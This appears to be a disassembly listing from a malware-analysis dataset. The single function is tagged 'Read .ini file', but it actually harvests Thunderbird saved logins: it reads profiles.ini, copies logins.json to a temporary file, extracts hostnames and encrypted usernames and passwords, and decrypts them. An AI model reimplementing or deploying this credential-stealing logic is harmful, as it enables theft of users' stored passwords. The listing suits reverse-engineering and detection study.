Function at 0x40d370
Capabilities:
Read .ini file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4e4
mov eax, dword [0x423b1c]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
mov ebx, ecx
lea ecx, [ebp - 0x419]
push edi
call fcn.004139d0
push str.Profile
lea ecx, [ebp - 0x420]
call fcn.004032c0
push 0x208
lea eax, [ebp - 0x20c]
push 0
push eax
call fcn.00401027
xor esi, esi
lea eax, [ebp - 0x414]
push 0x104
push esi
push eax
mov dword [ebp - 0x480], esi
call fcn.00401027
push 0x104
lea eax, [ebp - 0x414]
push eax
push str.thunderbird.exe
call fcn.004105d0
add esp, 0x24
lea eax, [ebp - 0x414]
lea ecx, [ebp - 0x438]
push eax
call fcn.004032c0
lea eax, [ebp - 0x480]
push eax
lea eax, [ebp - 0x414]
push eax
call dword [sym.imp.KERNEL32.dll_GetBinaryTypeW]
push ecx
lea eax, [ebp - 0x438]
mov ecx, esp
push eax
call fcn.00403c50
mov ecx, ebx
call fcn.0040eea0
test eax, eax
jne 0x40d447
push ecx
lea eax, [ebp - 0x438]
mov ecx, esp
push eax
call fcn.00403c50
mov ecx, ebx
call fcn.0040eea0
test eax, eax
je 0x40dc6f
push str.Thunderbird_
lea ecx, [ebp + 8]
call fcn.00403780
lea eax, [ebp + 8]
push eax
lea ecx, [ebp - 0x42c]
call fcn.00403c50
push str.profiles.ini
lea ecx, [ebp - 0x42c]
call fcn.00403780
push str.Profile
lea ecx, [ebp - 0x430]
call fcn.004032c0
push eax
lea ecx, [ebp - 0x420]
call fcn.00403b40
lea ecx, [ebp - 0x430]
call fcn.00403ca0
push 0
lea ecx, [ebp - 0x420]
call fcn.00403a50
lea ecx, [ebp - 0x42c]
call fcn.00403320
push eax
push 0x104
lea eax, [ebp - 0x20c]
push eax
push 0
push str.Path
lea ecx, [ebp - 0x420]
call fcn.00403320
push eax
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringW]
test eax, eax
je 0x40dbff
inc esi
lea ecx, [ebp - 0x484]
push str.Profile
mov dword [ebp - 0x4bc], esi
call fcn.004032c0
push eax
lea ecx, [ebp - 0x420]
call fcn.00403b40
lea ecx, [ebp - 0x484]
call fcn.00403ca0
push esi
lea ecx, [ebp - 0x420]
call fcn.00403a50
lea eax, [ebp + 8]
push eax
lea ecx, [ebp - 0x428]
call fcn.00403c50
lea eax, [ebp - 0x20c]
push eax
lea ecx, [ebp - 0x428]
call fcn.00403780
lea eax, [ebp - 0x430]
push eax
lea ecx, [ebp - 0x428]
call fcn.004033d0
lea ecx, [ebp - 0x430]
call fcn.00402bf0
push eax
mov eax, dword [ebx + 0x60]
call eax
add esp, 4
test eax, eax
jne 0x40dbb0
mov eax, dword [ebx + 0x78]
call eax
mov edi, eax
mov dword [ebp - 0x4b8], edi
test edi, edi
je 0x40dbb0
mov eax, dword [ebx + 0x74]
push 0
push 1
push edi
call eax
add esp, 0xc
test eax, eax
jne 0x40dbb0
lea eax, [ebp - 0x428]
push eax
lea ecx, [ebp - 0x424]
call fcn.00403c50
push str.logins.json
lea ecx, [ebp - 0x424]
call fcn.00403780
lea eax, [ebp - 0x418]
push 0x1a
push eax
call fcn.00413b70
add esp, 8
lea ecx, [ebp - 0x418]
push 0x41f414
call fcn.00403780
lea eax, [ebp - 0x488]
push 8
push eax
call fcn.004036b0
add esp, 8
lea ecx, [ebp - 0x418]
push eax
call fcn.004039f0
lea ecx, [ebp - 0x488]
call fcn.00403ca0
push str..tmp
lea ecx, [ebp - 0x418]
call fcn.00403780
lea eax, [ebp - 0x418]
push eax
lea eax, [ebp - 0x424]
push eax
call fcn.00414800
add esp, 8
test eax, eax
je 0x40d63a
lea eax, [ebp - 0x418]
push eax
lea ecx, [ebp - 0x424]
call fcn.00403b40
lea ecx, [ebp - 0x4e4]
call fcn.004144d0
push 1
push 0xc0000000
lea eax, [ebp - 0x424]
push eax
lea ecx, [ebp - 0x4e4]
call fcn.00414690
test eax, eax
jne 0x40d688
lea ecx, [ebp - 0x4e4]
call fcn.00414d80
lea ecx, [ebp - 0x418]
call fcn.00403ca0
lea ecx, [ebp - 0x424]
call fcn.00403ca0
jmp 0x40dbb0
lea ecx, [ebp - 0x454]
call fcn.00402710
push 0
lea ecx, [ebp - 0x4e4]
call fcn.00414d70
push eax
lea eax, [ebp - 0x454]
push eax
lea ecx, [ebp - 0x4e4]
call fcn.00414760
push str.encryptedUsername
lea ecx, [ebp - 0x4b4]
call fcn.00402bb0
push eax
lea eax, [ebp - 0x4c8]
push eax
lea ecx, [ebp - 0x454]
call fcn.00402aa0
push eax
call fcn.00410500
add esp, 8
mov dword [ebp - 0x460], eax
lea ecx, [ebp - 0x4c8]
mov esi, eax
call fcn.00403280
lea ecx, [ebp - 0x4b4]
call fcn.00403280
test esi, esi
je 0x40db46
lea ecx, [ebp - 0x44c]
call fcn.00403290
lea ecx, [ebp - 0x448]
call fcn.00403290
lea ecx, [ebp - 0x444]
call fcn.00403290
push esi
push str.hostname
lea ecx, [ebp - 0x4c0]
call fcn.00402bb0
push eax
lea eax, [ebp - 0x4ac]
push eax
lea ecx, [ebp - 0x454]
call fcn.00402aa0
push eax
lea eax, [ebp - 0x46c]
push eax
call fcn.00410460
add esp, 0x10
lea ecx, [ebp - 0x4ac]
call fcn.00403280
lea ecx, [ebp - 0x4c0]
call fcn.00403280
push esi
push str.encryptedUsername
lea ecx, [ebp - 0x48c]
call fcn.00402bb0
push eax
lea eax, [ebp - 0x4c4]
push eax
lea ecx, [ebp - 0x454]
call fcn.00402aa0
push eax
lea eax, [ebp - 0x468]
push eax
call fcn.00410460
add esp, 0x10
lea ecx, [ebp - 0x4c4]
call fcn.00403280
lea ecx, [ebp - 0x48c]
call fcn.00403280
push esi
push str.encryptedPassword
lea ecx, [ebp - 0x494]
call fcn.00402bb0
push eax
lea eax, [ebp - 0x490]
push eax
lea ecx, [ebp - 0x454]
call fcn.00402aa0
push eax
lea eax, [ebp - 0x464]
push eax
call fcn.00410460
add esp, 0x10
lea ecx, [ebp - 0x490]
call fcn.00403280
lea ecx, [ebp - 0x494]
call fcn.00403280
lea eax, [ebp - 0x49c]
push eax
lea ecx, [ebp - 0x468]
call fcn.00402bf0
push eax
mov ecx, ebx
call fcn.0040f940
lea eax, [ebp - 0x4a8]
push eax
lea ecx, [ebp - 0x464]
call fcn.00402bf0
push eax
mov ecx, ebx
call fcn.0040f940
lea eax, [ebp - 0x498]
push eax
lea ecx, [ebp - 0x46c]
call fcn.00402cb0
push eax
lea ecx, [ebp - 0x44c]
call fcn.00403b40
lea ecx, [ebp - 0x498]
call fcn.00403ca0
lea eax, [ebp - 0x4a0]
push eax
push dword [ebp - 0x49c]
lea ecx, [ebp - 0x4a4]
call fcn.00402bb0
mov ecx, eax
call fcn.00402cb0
push eax
lea ecx, [ebp - 0x448]
call fcn.00403b40
lea ecx, [ebp - 0x4a0]
call fcn.00403ca0
lea ecx, [ebp - 0x4a4]
call fcn.00403280
lea eax, [ebp - 0x4cc]
push eax
push dword [ebp - 0x4a8]
lea ecx, [ebp - 0x4b0]
call fcn.00402bb0
mov ecx, eax
call fcn.00402cb0
push eax
lea ecx, [ebp - 0x444]
call fcn.00403b40
lea ecx, [ebp - 0x4cc]
call fcn.00403ca0
lea ecx, [ebp - 0x4b0]
call fcn.00403280
lea eax, [ebp - 0x44c]
mov dword [ebp - 0x440], 4
push eax
lea ecx, [ebp - 0x47c]
call fcn.00403c50
lea eax, [ebp - 0x448]
push eax
lea ecx, [ebp - 0x478]
call fcn.00403c50
lea eax, [ebp - 0x444]
push eax
lea ecx, [ebp - 0x474]
call fcn.00403c50
mov edi, dword [ebx + 8]
mov eax, dword [ebp - 0x440]
mov dword [ebp - 0x470], eax
cmp edi, dword [ebx + 4]
jb 0x40da91
lea esi, [edi + 1]
xor ecx, ecx
imul esi, dword [ebx + 0xc]
mov edx, 0x10
mov eax, esi
mov dword [ebp - 0x45c], esi
mul edx
seto cl
neg ecx
or ecx, eax
xor eax, eax
add ecx, 4
setb al
neg eax
or eax, ecx
push eax
call fcn.00407fa0
add esp, 4
test eax, eax
je 0x40d9ad
mov edi, esi
mov dword [eax], esi
lea ecx, [eax + 4]
mov dword [ebp - 0x434], ecx
mov esi, ecx
test edi, edi
jbe 0x40d9b5
mov ecx, esi
call fcn.00403290
lea ecx, [esi + 4]
call fcn.00403290
lea ecx, [esi + 8]
call fcn.00403290
add esi, 0x10
sub edi, 1
jne 0x40d986
mov ecx, dword [ebp - 0x434]
jmp 0x40d9b5
xor ecx, ecx
mov dword [ebp - 0x434], ecx
mov edi, dword [ebx + 8]
mov dword [ebp - 0x458], 0
test edi, edi
je 0x40da1f
mov eax, 0xfffffff8
lea esi, [ecx + 8]
sub eax, ecx
mov dword [ebp - 0x43c], eax
mov edi, dword [ebx]
lea ecx, [esi - 8]
add edi, esi
add edi, eax
push edi
call fcn.00403b40
lea eax, [edi + 4]
push eax
lea ecx, [esi - 4]
call fcn.00403b40
lea eax, [edi + 8]
mov ecx, esi
push eax
call fcn.00403b40
mov eax, dword [edi + 0xc]
mov dword [esi + 4], eax
add esi, 0x10
mov eax, dword [ebp - 0x458]
mov edi, dword [ebx + 8]
inc eax
mov dword [ebp - 0x458], eax
cmp eax, edi
mov eax, dword [ebp - 0x43c]
jb 0x40d9d6
mov eax, dword [ebx]
test eax, eax
je 0x40da7a
mov edi, dword [eax - 4]
lea ecx, [eax - 4]
mov esi, edi
mov dword [ebp - 0x43c], ecx
shl esi, 4
add esi, eax
test edi, edi
je 0x40da65
nop dword [eax]
sub esi, 0x10
lea ecx, [esi + 8]
call fcn.00403ca0
lea ecx, [esi + 4]
call fcn.00403ca0
mov ecx, esi
call fcn.00403ca0
sub edi, 1
jne 0x40da40
mov ecx, dword [ebp - 0x43c]
mov eax, dword [ecx]
shl eax, 4
add eax, 4
push eax
push ecx
call fcn.00407fd0
mov edi, dword [ebx + 8]
add esp, 8
mov eax, dword [ebp - 0x434]
mov esi, dword [ebp - 0x460]
mov dword [ebx], eax
mov eax, dword [ebp - 0x45c]
mov dword [ebx + 4], eax
shl edi, 4
lea eax, [ebp - 0x47c]
add edi, dword [ebx]
push eax
mov ecx, edi
call fcn.00403b40
lea eax, [ebp - 0x478]
push eax
lea ecx, [edi + 4]
call fcn.00403b40
lea eax, [ebp - 0x474]
push eax
lea ecx, [edi + 8]
call fcn.00403b40
mov eax, dword [ebp - 0x470]
lea ecx, [ebp - 0x474]
mov dword [edi + 0xc], eax
inc dword [ebx + 8]
call fcn.00403ca0
lea ecx, [ebp - 0x478]
call fcn.00403ca0
lea ecx, [ebp - 0x47c]
call fcn.00403ca0
dec esi
lea ecx, [ebp - 0x464]
mov dword [ebp - 0x460], esi
call fcn.00403280
lea ecx, [ebp - 0x468]
call fcn.00403280
lea ecx, [ebp - 0x46c]
call fcn.00403280
lea ecx, [ebp - 0x444]
call fcn.00403ca0
lea ecx, [ebp - 0x448]
call fcn.00403ca0
lea ecx, [ebp - 0x44c]
call fcn.00403ca0
test esi, esi
jne 0x40d705
mov edi, dword [ebp - 0x4b8]
lea eax, [ebp - 0x418]
push eax
call fcn.00413c00
add esp, 4
test eax, eax
je 0x40db70
push ecx
lea eax, [ebp - 0x418]
mov ecx, esp
push eax
call fcn.00403c50
call fcn.00414d40
add esp, 4
mov eax, dword [ebx + 0x7c]
push edi
call eax
mov eax, dword [ebx + 0x64]
add esp, 4
call eax
lea ecx, [ebp - 0x454]
call fcn.00402b50
lea ecx, [ebp - 0x4e4]
call fcn.00414d80
lea ecx, [ebp - 0x418]
call fcn.00403ca0
lea ecx, [ebp - 0x424]
call fcn.00403ca0
mov esi, dword [ebp - 0x4bc]
lea ecx, [ebp - 0x430]
call fcn.00403280
lea ecx, [ebp - 0x428]
call fcn.00403ca0
lea ecx, [ebp - 0x42c]
call fcn.00403320
push eax
push 0x104
lea eax, [ebp - 0x20c]
push eax
push 0
push str.Path
lea ecx, [ebp - 0x420]
call fcn.00403320
push eax
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringW]
test eax, eax
jne 0x40d4e0
push dword [ebx + 0xac]
mov esi, dword [sym.imp.KERNEL32.dll_FreeLibrary]
call esi
push dword [ebx + 0xa0]
mov dword [ebx + 0xac], 0
call esi
push dword [ebx + 0xa4]
mov dword [ebx + 0xa0], 0
call esi
push dword [ebx + 0xb0]
mov dword [ebx + 0xa4], 0
call esi
push dword [ebx + 0xa8]
mov dword [ebx + 0xb0], 0
call esi
lea ecx, [ebp - 0x42c]
mov dword [ebx + 0xa8], 0
mov esi, 1
call fcn.00403ca0
lea ecx, [ebp - 0x438]
call fcn.00403ca0
lea ecx, [ebp - 0x420]
call fcn.00403ca0
lea ecx, [ebp - 0x419]
call fcn.00414410
lea ecx, [ebp + 8]
call fcn.00403ca0
mov ecx, dword [ebp - 4]
mov eax, esi
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00401000
mov esp, ebp
pop ebp
ret 4